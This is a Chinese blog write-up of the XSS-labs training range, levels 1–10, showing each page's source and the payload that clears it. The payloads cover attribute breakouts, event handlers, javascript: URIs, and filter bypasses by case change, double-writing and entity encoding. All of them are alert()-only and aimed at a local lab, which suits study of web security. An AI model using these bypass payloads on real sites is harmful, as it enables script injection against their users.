XSS-labs靶场练习

1.环境搭建

先去GitHub下载,点这。然后利用phpstudy启动服务访问即可,具体的百度都有。

level 1

观察源代码

<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户1"></h2></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>

</h2>闭合前面的<h2>,在执行一个xss比如<script>alert('xss')</script>即可完成第一关,payload:

http://127.0.0.1/xss-labs-master/level1.php?name=</h2><script>alert('xss')</script>

level2


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

先用第一关的payload试试,发现行不通,变成了这样

h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;/h2&gt;&lt;script&gt;alert('xss')&lt;/script&gt;相关的结果.</h2><center>

可以看到下面有
<input name=keyword value="test">我们要填入的变量是value,假如填一个1">插入后语句变成<input name=keyword value="1">">那么后面的内容不就可以自己构造了吗,payload:
1"><script>alert('xss')</script>

level3

<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value=''>	
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>

好像没什么不一样,尝试输入payload,发现过滤了'> (' ')等等类似的危险字符,输入后会被转义,这里使用JavaScript事件来利用,payload' onclick='javascript:alert(2,插入后为

<input name=keyword  value='' onclick='javascript:alert(2)'>

点击页面即可过关.

level4

<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和try harder相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="try harder">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:10</h3></body>
</html>

简单测试,发现过滤了尖括号,那么使用不需要尖括号就能触发的payload,将3的单引号变成双引号就可以了,最后得

<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&quot; onclick=&quot;javascript:alert(2)相关的结果.</h2><center>

点击即可触发进入下一关

level 5

源码几乎一样,过滤规则改变,尝试输入<script>alert('xss')</script>,发现变成了<scr_ipt>alert('xss')</script>,onclick也变成了o_nclick,尝试img标签,没有绕过,插入后没反应不知道为什么,试了另一个JavaScript事件,先闭合前面的标签,用">,payload:
1"><a href="javascript:alert('xss')">123</a>随后点击123即可
看了网上基本都是这样,于是我想找找别的方法,这个也可以
1"><iframe src="javascript:alert('123');">(随便填)</iframe>

level 6

过滤规则好像差不多,多了href,src,所以上面的用不了,搞半天是大小写绕过…

level 7

过滤了指定字符,src,script这些,双写绕过。

level 8

用url编码或者html实体编码绕过
HTML实体编码表
javasc&#82;ipt:alert('xss')

level 9

不看源码盲猜猜不出,源码中必须要有http://,不然就不合法
编码绕过…
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

level 10

看源码,发现有三个hidden的参数,于是想到了注释来绕过,但是只有发现t_sort会变,且尖括号被过滤
payload:?t_sort="onclick="alert(%27xss%27)"
F12把hidden删掉然后点击即可

上一篇:JavaScript高级__1


下一篇:JavaScript(狂神说学习笔记)